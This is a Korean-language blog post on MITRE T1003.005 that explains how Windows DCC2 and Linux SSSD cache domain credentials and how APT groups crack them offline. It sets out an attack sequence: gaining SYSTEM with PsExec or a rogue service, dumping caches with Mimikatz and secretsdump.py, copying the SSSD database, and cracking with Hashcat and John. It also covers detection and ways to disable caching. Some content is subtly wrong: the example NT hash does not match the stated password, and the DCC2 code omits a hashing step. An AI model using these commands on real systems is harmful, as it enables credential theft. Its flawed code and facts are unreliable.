캐시된 도메인 자격증명 탈취: 주요 APT 그룹이 오프라인 해시를 크래킹하는 원리 | T1003.005
Windows는 도메인 서버 없이도 로그인할 수 있도록 비밀번호 해시를 로컬에 캐시한다. 이 캐시가 오프라인 크래킹의 표적이 되는 원리.
제목: T1003.005 캐시된 도메인 자격증명 탈취: 주요 APT 그룹이 오프라인 해시를 크래킹하는 원리
DCC2(Domain Cached Credentials v2) 해시는 PBKDF2 알고리즘으로 10,240번 반복 처리된다. mscash v1 대비 수백 배 느린 크래킹 속도를 보인다.
그럼에도 Lazarus, APT29, Carbanak을 포함한 주요 APT 그룹들이 이 기법을 지속적으로 활용한다. 도메인 컨트롤러 없이도 인증 정보를 획득할 수 있기 때문이다.
출장 중인 직원이 네트워크 없이 노트북에 로그인해야 하는 상황을 생각해보자. 도메인 컨트롤러에 접근할 수 없으면 로그인이 불가능하다.
이 문제를 해결하기 위해 Windows는 도메인 인증 성공 후 자격증명을 로컬에 캐시한다.
도메인 자격증명 캐싱은 Windows NT 시절부터 존재했다. 보안성 강화를 위해 지속적으로 발전했다.
DCC2의 주요 목적은 오프라인 인증이다. 노트북과 모바일 장치에서 특히 중요하다.
활용 사례는 세 가지다. 여행/원격 근무 시 로그인 허용, 네트워크 중단 시 비즈니스 연속성 보장, 간헐적 연결 환경의 지점 사무소 지원이다.
캐시된 도메인 자격증명(Cached Domain Credentials) 은 도메인 컨트롤러 없이 인증이 가능하도록 로컬에 저장된 사용자 인증 정보다.
| 용어 | 설명 |
|---|---|
| DCC1 | 저장 위치: Windows NT/2000 레지스트리 / 해시 알고리즘: MD4 기반 단순 해시 / 주요 용도: 오프라인 도메인 인증 / 크래킹 난이도: 매우 쉬움 |
| DCC2 | 저장 위치: Windows Vista+ 레지스트리 / 해시 알고리즘: PBKDF2-HMAC-SHA1 / 주요 용도: 오프라인 도메인 인증 / 크래킹 난이도: 보통 |
| NT Hash | 저장 위치: SAM/NTDS.dit / 해시 알고리즘: MD4 / 주요 용도: 로컬/도메인 인증 / 크래킹 난이도: 쉬움 |
| LM Hash | 저장 위치: SAM (레거시) / 해시 알고리즘: DES / 주요 용도: 레거시 인증 / 크래킹 난이도: 매우 쉬움 |
SECURITY\Cache도메인 인증에 성공하면 Windows는 사용자 비밀번호로부터 NT Hash를 생성한다.
# NT Hash 생성 (MD4 해시)
import hashlib
password = "MyPassword123"
nt_hash = hashlib.new('md4', password.encode('utf-16le')).hexdigest()
# 결과: 8846f7eaee8fb117ad06bdd830b7586c
NT Hash와 사용자명을 조합하여 DCC2 해시를 생성한다.
# DCC2 해시 생성 과정
import hashlib
import hmac
from pbkdf2 import PBKDF2
# 입력값
nt_hash = bytes.fromhex("8846f7eaee8fb117ad06bdd830b7586c")
username = "john.doe" # 소문자 변환
iterations = 10240
# PBKDF2-HMAC-SHA1 적용
dcc2_hash = PBKDF2(nt_hash, username.encode('utf-16le'), iterations).read(16)
print(f"DCC2: {dcc2_hash.hex()}")
DCC2 해시는 Windows 레지스트리에 암호화된 형태로 저장된다.
키 위치: SECURITY\Cache\NL$1 ~ NL$10
저장 형식: [16바이트 DCC2 해시][사용자명][도메인명][추가 메타데이터]
암호화: LSA 시크릿 키로 암호화
DCC2의 핵심 보안 메커니즘은 PBKDF2의 반복 처리다. 10,240번의 HMAC-SHA1 반복이 크래킹 비용을 높인다.
# PBKDF2 내부 동작 과정
def pbkdf2_dcc2(nt_hash, username, iterations=10240):
salt = username.lower().encode('utf-16le')
# 10,240번의 HMAC-SHA1 반복 수행
derived_key = hashlib.pbkdf2_hmac(
'sha1', # 해시 함수
nt_hash, # 패스워드 (NT Hash)
salt, # 솔트 (사용자명)
iterations, # 반복 횟수
16 # 출력 길이 (128bit)
)
return derived_key
Linux 환경에서는 SSSD(System Security Services Daemon)가 AD 자격증명을 캐시한다.
# /etc/sssd/sssd.conf 설정 예시
[domain/example.com]
cache_credentials = true
offline_credentials_expiration = 7 # 7일 후 만료
offline_failed_login_attempts = 3
offline_failed_login_delay = 5
SSSD는 사용자 및 자격증명도 캐시하므로 로컬 시스템이나 ID 제공자가 오프라인 상태가 되더라도 사용자 자격증명은 서비스가 확인할 수 있도록 계속 사용 가능합니다.
# SSSD 캐시 위치
/var/lib/sss/db/cache_example.com.ldb
# Quest VAS 캐시 위치
/var/opt/quest/vas/authcache/vas_auth.vdb
네트워크 연결 없이 로그인을 시도할 때의 과정이다.
Windows는 오프라인 인증 시 다음 단계를 수행한다.
# 캐시 갱신 조건
def should_update_cache(user, domain):
conditions = {
'successful_domain_auth': True, # 도메인 인증 성공
'cache_slot_available': True, # 캐시 슬롯 여유
'user_not_cached': True, # 사용자 미캐시 상태
'password_changed': False # 비밀번호 변경 여부
}
# LRU(Least Recently Used) 방식으로 오래된 캐시 교체
if all(conditions.values()):
update_cache_entry(user, domain)
캐시된 도메인 자격증명은 공격자에게 세 가지 이점을 제공한다.
공격자는 먼저 SYSTEM 권한을 획득해야 한다.
# PsExec를 이용한 SYSTEM 권한 획득
psexec -s -i cmd.exe
# 또는 서비스 등록을 통한 권한 상승
sc create malservice binpath="cmd.exe /c whoami > C:\temp\system.txt"
sc start malservice
Windows 환경에서의 추출:
# Mimikatz를 이용한 DCC2 해시 추출
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::cache" "exit"
# 또는 secretsdump.py 사용
secretsdump.py -system SYSTEM -security SECURITY LOCAL
Linux 환경에서의 추출:
# SSSD 캐시 데이터베이스 복사
cp /var/lib/sss/db/cache_*.ldb /tmp/
# tdbdump를 이용한 캐시 내용 추출
tdbdump /var/lib/sss/db/cache_example.com.ldb | grep -i hash
추출된 DCC2 해시를 오프라인에서 크래킹한다.
# Hashcat을 이용한 DCC2 크래킹
hashcat -m 2100 -a 0 dcc2_hashes.txt rockyou.txt
# John the Ripper 사용
john --format=mscash2 --wordlist=rockyou.txt dcc2_hashes.txt
DCC2의 보안성을 이해하기 위한 크래킹 성능 비교다.
| 해시 타입 | 설명 |
|---|---|
| NT Hash | 초당 추측 횟수: 약 450,000,000 / 8자리 영숫자 크래킹 시간: 약 6분 / 보안 수준: 낮음 |
| DCC1 | 초당 추측 횟수: 약 450,000,000 / 8자리 영숫자 크래킹 시간: 약 6분 / 보안 수준: 낮음 |
| DCC2 | 초당 추측 횟수: 약 110,000 / 8자리 영숫자 크래킹 시간: 약 17시간 / 보안 수준: 보통 |
| bcrypt | 초당 추측 횟수: 1,000-10,000 / 8자리 영숫자 크래킹 시간: 수일-수주 / 보안 수준: 높음 |
mscash v2는 동일한 하드웨어에서 mscash v1 대비 현저히 낮은 크래킹 성능을 보인다.
<Event ID="4624">
<LogonType>11</LogonType>
</Event>
<Event ID="4625">
<FailureReason>캐시된 자격증명 불일치</FailureReason>
</Event>
# PowerShell로 레지스트리 접근 감시
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4656} |
Where-Object {$_.Message -like "*SECURITY\Cache*"}
캐시 비활성화:
# 그룹 정책 또는 레지스트리 설정
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CachedLogonsCount /t REG_DWORD /d 0
Linux SSSD 보안 강화:
# /etc/sssd/sssd.conf
[domain/example.com]
cache_credentials = false # 캐시 비활성화
offline_credentials_expiration = 1 # 빠른 만료
Lazarus는 초기 침투 후 DCC2 해시를 수집하여 추가 계정 탈취에 활용했다. 2019년 인도 Cosmos Bank 공격에서 ATM 서버의 캐시된 관리자 자격증명을 크래킹하여 권한을 확대했다.
Lazarus 그룹 10년 해킹역사: 북한 사이버 위협의 진화 과정에서 이 그룹의 전체 활동을 다루고 있다.
APT29(Cozy Bear)는 Microsoft Exchange 서버 침해 후 DCC2 해시를 추출했다. 오프라인에서 크래킹하여 비밀번호 정책을 우회하고 장기간 네트워크에 잠복했다.
캐시된 도메인 자격증명 탈취는 다른 자격증명 덤핑 기법과 함께 사용된다.
Kerberos 공격 주요 기법과 연계하여 도메인 환경에서 횡적 이동에 활용된다.
T1003.005 캐시된 도메인 자격증명 탈취는 오프라인 인증의 편의성과 보안성 사이의 트레이드오프를 보여주는 기법이다. DCC2의 PBKDF2 강화에도 불구하고 여전히 공격자들의 주요 타겟이다.
특히 장기간 잠복하는 APT 공격에서 지속적인 접근 수단으로 활용된다. 조직은 캐시 정책을 적절히 설정하고 레지스트리 접근을 모니터링해야 한다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.